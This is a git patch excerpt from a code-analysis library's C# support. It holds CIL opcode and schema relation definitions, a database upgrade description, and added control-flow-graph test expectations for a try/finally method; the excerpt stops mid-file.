@cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/upgrade.properties b/csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/upgrade.properties new file mode 100644 index 00000000000..3ee4f62265f --- /dev/null +++ b/csharp/upgrades/26249c105a81c61ef8738a198928de2d4b763c37/upgrade.properties @@ -0,0 +1,2 @@ +description: Added 'compilation_assembly' to store the output assemblies of compilations. +compatibility: backwards From 5803a449be796b055a8800d6b415108ae7349ff5 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 7 Jan 2021 12:14:25 +0100 Subject: [PATCH 0565/1241] Add test case for assign operation in finally --- .../controlflow/graph/BasicBlock.expected | 3 ++ .../controlflow/graph/Dominance.expected | 38 +++++++++++++++++++ .../graph/EnclosingCallable.expected | 20 ++++++++++ .../controlflow/graph/EntryElement.expected | 16 ++++++++ .../controlflow/graph/ExitElement.expected | 21 ++++++++++ .../controlflow/graph/Finally.cs | 13 +++++++ .../controlflow/graph/NodeGraph.expected | 16 ++++++++ .../controlflow/graph/Nodes.expected | 6 +++ 8 files changed, 133 insertions(+) diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index d9fc6b0c1f6..76511cca34a 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -639,6 +639,9 @@ | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | 4 | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | 4 | | Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | exit M12 (normal) | 8 | +| Finally.cs:263:10:263:12 | enter M13 | Finally.cs:267:13:267:34 | call to method WriteLine | 7 | +| Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | 5 | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:272:13:272:19 | ...; | 5 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:8:29:8:32 | access to parameter args | 3 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 | 2 | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | 1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index b9f51a64281..c439a55d8a5 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -2366,6 +2366,22 @@ dominance | Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (normal) | | Finally.cs:260:9:260:34 | ...; | Finally.cs:260:27:260:32 | "Done" | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:9:260:33 | call to method WriteLine | +| Finally.cs:263:10:263:12 | enter M13 | Finally.cs:264:5:274:5 | {...} | +| Finally.cs:264:5:274:5 | {...} | Finally.cs:265:9:273:9 | try {...} ... | +| Finally.cs:265:9:273:9 | try {...} ... | Finally.cs:266:9:268:9 | {...} | +| Finally.cs:266:9:268:9 | {...} | Finally.cs:267:13:267:35 | ...; | +| Finally.cs:267:13:267:34 | call to method WriteLine | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | +| Finally.cs:267:13:267:34 | call to method WriteLine | Finally.cs:270:9:273:9 | {...} | +| Finally.cs:267:13:267:35 | ...; | Finally.cs:267:31:267:33 | "1" | +| Finally.cs:267:31:267:33 | "1" | Finally.cs:267:13:267:34 | call to method WriteLine | +| Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:271:13:271:35 | ...; | +| Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | +| Finally.cs:271:13:271:34 | call to method WriteLine | Finally.cs:272:13:272:19 | ...; | +| Finally.cs:271:13:271:35 | ...; | Finally.cs:271:31:271:33 | "3" | +| Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | +| Finally.cs:271:31:271:33 | "3" | Finally.cs:271:13:271:34 | call to method WriteLine | +| Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:7:5:10:5 | {...} | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:8:29:8:32 | access to parameter args | @@ -6307,6 +6323,20 @@ postDominance | Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:260:27:260:32 | "Done" | | Finally.cs:260:9:260:34 | ...; | Finally.cs:258:13:258:46 | call to method WriteLine | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:9:260:34 | ...; | +| Finally.cs:264:5:274:5 | {...} | Finally.cs:263:10:263:12 | enter M13 | +| Finally.cs:265:9:273:9 | try {...} ... | Finally.cs:264:5:274:5 | {...} | +| Finally.cs:266:9:268:9 | {...} | Finally.cs:265:9:273:9 | try {...} ... | +| Finally.cs:267:13:267:34 | call to method WriteLine | Finally.cs:267:31:267:33 | "1" | +| Finally.cs:267:13:267:35 | ...; | Finally.cs:266:9:268:9 | {...} | +| Finally.cs:267:31:267:33 | "1" | Finally.cs:267:13:267:35 | ...; | +| Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | +| Finally.cs:271:13:271:34 | call to method WriteLine | Finally.cs:271:31:271:33 | "3" | +| Finally.cs:271:13:271:35 | ...; | Finally.cs:270:9:273:9 | {...} | +| Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | +| Finally.cs:271:31:271:33 | "3" | Finally.cs:271:13:271:35 | ...; | +| Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | +| Finally.cs:272:13:272:19 | ...; | Finally.cs:271:13:271:34 | call to method WriteLine | +| Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | | Foreach.cs:6:10:6:11 | exit M1 | Foreach.cs:6:10:6:11 | exit M1 (normal) | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:6:10:6:11 | enter M1 | @@ -10829,6 +10859,11 @@ blockDominance | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | | Finally.cs:257:9:259:9 | {...} | Finally.cs:257:9:259:9 | {...} | +| Finally.cs:263:10:263:12 | enter M13 | Finally.cs:263:10:263:12 | enter M13 | +| Finally.cs:263:10:263:12 | enter M13 | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | +| Finally.cs:263:10:263:12 | enter M13 | Finally.cs:270:9:273:9 | {...} | +| Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:270:9:273:9 | {...} | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | enter M1 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | exit M1 (normal) | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | @@ -14176,6 +14211,9 @@ postBlockDominance | Finally.cs:257:9:259:9 | {...} | Finally.cs:243:13:253:13 | {...} | | Finally.cs:257:9:259:9 | {...} | Finally.cs:250:17:252:17 | {...} | | Finally.cs:257:9:259:9 | {...} | Finally.cs:257:9:259:9 | {...} | +| Finally.cs:263:10:263:12 | enter M13 | Finally.cs:263:10:263:12 | enter M13 | +| Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:270:9:273:9 | {...} | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | enter M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | enter M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 (normal) | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index c6d70953677..7bbe168a6d9 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -2555,6 +2555,23 @@ nodeEnclosing | Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | | Finally.cs:260:9:260:34 | ...; | Finally.cs:233:10:233:12 | M12 | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:263:10:263:12 | enter M13 | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:264:5:274:5 | {...} | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:265:9:273:9 | try {...} ... | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:266:9:268:9 | {...} | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:267:13:267:34 | call to method WriteLine | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:267:13:267:35 | ...; | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:267:31:267:33 | "1" | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:271:13:271:34 | call to method WriteLine | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:271:13:271:35 | ...; | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:271:31:271:33 | "3" | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:272:13:272:19 | ...; | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | Finally.cs:263:10:263:12 | M13 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | M1 | | Foreach.cs:6:10:6:11 | exit M1 | Foreach.cs:6:10:6:11 | M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | M1 | @@ -5310,6 +5327,9 @@ blockEnclosing | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | M12 | +| Finally.cs:263:10:263:12 | enter M13 | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:263:10:263:12 | M13 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | M1 | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:6:10:6:11 | M1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected index 3c5d4db19dd..610c8d7f8eb 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected @@ 